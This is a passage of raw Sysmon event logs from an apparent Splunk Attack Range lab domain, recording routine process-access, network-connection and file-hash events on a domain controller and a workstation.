14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038425Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038424Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038423Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038422Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+d34e|c:\windows\system32\rpcss.dll+c38a|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038421Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038420Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038419Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038418Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038417Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038416Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038415Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038414Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038413Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038412Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038411Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1A-613B-A306-00000000F001}4188C:\Windows\SystemApps\ShellExperienceHost_cw5n1h2txyewy\ShellExperienceHost.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038410Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038409Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 10341000x800000000000000038408Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.920{7BD73061-65B2-613B-0D00-00000000F001}892916C:\Windows\system32\svchost.exe{7BD73061-6D1B-613B-A406-00000000F001}4636C:\Windows\SystemApps\Microsoft.Windows.Cortana_cw5n1h2txyewy\SearchUI.exe0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|c:\windows\system32\rpcss.dll+f681|c:\windows\system32\rpcss.dll+c264|c:\windows\system32\rpcss.dll+d73e|c:\windows\system32\rpcss.dll+a35b|c:\windows\system32\rpcss.dll+436a1|c:\windows\system32\rpcss.dll+437d2|c:\windows\system32\rpcss.dll+43b0f|C:\Windows\system32\svchost.exe+1380|C:\Windows\System32\sechost.dll+14342|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 354300x800000000000000038407Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:01.918{7BD73061-65AD-613B-0100-00000000F001}4SystemNT AUTHORITY\SYSTEMtcpfalsefalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal50100-false10.0.1.14win-dc-387.attackrange.local445microsoft-ds 354300x800000000000000038406Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:01.916{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal63950- 354300x800000000000000038405Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:01.806{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal51586- 354300x800000000000000038404Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:01.800{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal60866- 23542300x800000000000000038403Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.607{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\SecurityMD5=8C02F1A641E920119E1B49A74B3D38A3,SHA256=0AE78AB22D90010D12F018595502D86EFD5C871DAD25C959C956B8BD749E3258,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038402Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.466{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B899355220072096375E96946450DD29,SHA256=C23F599D4BBB569A7EFF59550DC778FDE6680B29B4D1F0070DBFB91AD9F8F302,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038401Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.185{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=01A8D587E7D1E89AB054D2DAA86FD3B3,SHA256=BCA4F0B6407ACFD5418E6946378CF5E5A2B36FB3E8ADEE70B73CB4F7D7E69952,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038400Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.029{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013620Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:04.853{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7520A6EBFE9C63B096A5980EA7FB0B35,SHA256=0EA234CC675DDF8D17303866F7C37CD79BB7AC9031BBD2F4CD76B86C754A5211,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038442Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:02.414{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59201-false10.0.1.12-8000- 23542300x800000000000000038441Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:04.623{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7E6379B9A41B13C9EEB0F6F5814FC54F,SHA256=AA667AA80EEA82331C82AF6FFA42D21A49345AD5D1EB767AE37F09D412DAE819,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013619Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:02.922{625C326B-67EA-613B-0100-00000000F101}4SystemNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50100-false10.0.1.14-445microsoft-ds 354300x800000000000000013618Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:02.804{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEudptruetruea00:10f:0:0:58c1:43af:b80:ffff-59017-truee000:fc:0:0:0:0:0:0-5355llmnr 354300x800000000000000013617Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:02.803{625C326B-67EE-613B-1500-00000000F101}360C:\Windows\System32\svchost.exeNT AUTHORITY\NETWORK SERVICEudptruetruefe80:0:0:0:b532:95e8:6ea6:bec6win-host-166.attackrange.local59017-trueff02:0:0:0:0:0:1:3-5355llmnr 354300x800000000000000013616Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:02.793{625C326B-67EE-613B-1200-00000000F101}300C:\Windows\System32\svchost.exeNT AUTHORITY\LOCAL SERVICEudptruefalse10.0.1.15win-host-166.attackrange.local68bootpcfalse10.0.1.1ip-10-0-1-1.eu-central-1.compute.internal67bootps 23542300x800000000000000038440Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:04.435{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038439Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:04.216{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=8FB48B7D044FB42E6B3281A800BA04C3,SHA256=7D6628FBDAC0F71BE8C8488D6C5AF899E755E343383C92A730B07587CD6BDA9B,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013622Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:05.854{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F534F6B7489AD44F5DC92817B1E73E64,SHA256=980F2EFAB78EE57B2B79AABBBB6EB89E6C028B3581BF3CBA12B6400B75069989,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000038447Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:03.555{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsefalse10.0.1.14win-dc-387.attackrange.local53domainfalse10.0.1.15ip-10-0-1-15.eu-central-1.compute.internal52197- 23542300x800000000000000038446Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:05.794{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038445Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:05.717{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=532AE1C1805437B0AB49B17D8C63019E,SHA256=1C88C8F909D19F9D4D316854FC6A143D3472DD18D7DC9C51366EFB6AA80B37A1,IMPHASH=00000000000000000000000000000000falsetrue 22542200x800000000000000013621Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:03.640{625C326B-67EE-613B-1500-00000000F101}360win-host-1661460-C:\Windows\System32\svchost.exe 23542300x800000000000000038444Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:05.248{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=7CD87A55430E39A475A746FB47C7B306,SHA256=DA2DC67EC2AE0DC135667EF506C1C889C159C3053E47CB1474C0363E8E0BB082,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038443Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:05.138{7BD73061-6E8E-613B-1107-00000000F001}4116NT AUTHORITY\SYSTEMC:\Windows\system32\msiexec.exeC:\Windows\assembly\PublisherPolicy.tmeMD5=D41D8CD98F00B204E9800998ECF8427E,SHA256=E3B0C44298FC1C149AFBF4C8996FB92427AE41E4649B934CA495991B7852B855,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000013625Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:06.854{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=9A081752E7D0AFDF45BF8E2FBAD9EDED,SHA256=99914333D1239D702149BA2D233E164B43C1FEC4E1EBE059748B983246D7D428,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000038449Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:43:06.796{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3E35D00B25264B56678B09AD19702D12,SHA256=CC336A2CC5E90F82FDB205E706B8BB726B603828BFE80B8EFE1D181C07B9DF66,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000013624Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:43:04.480{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT 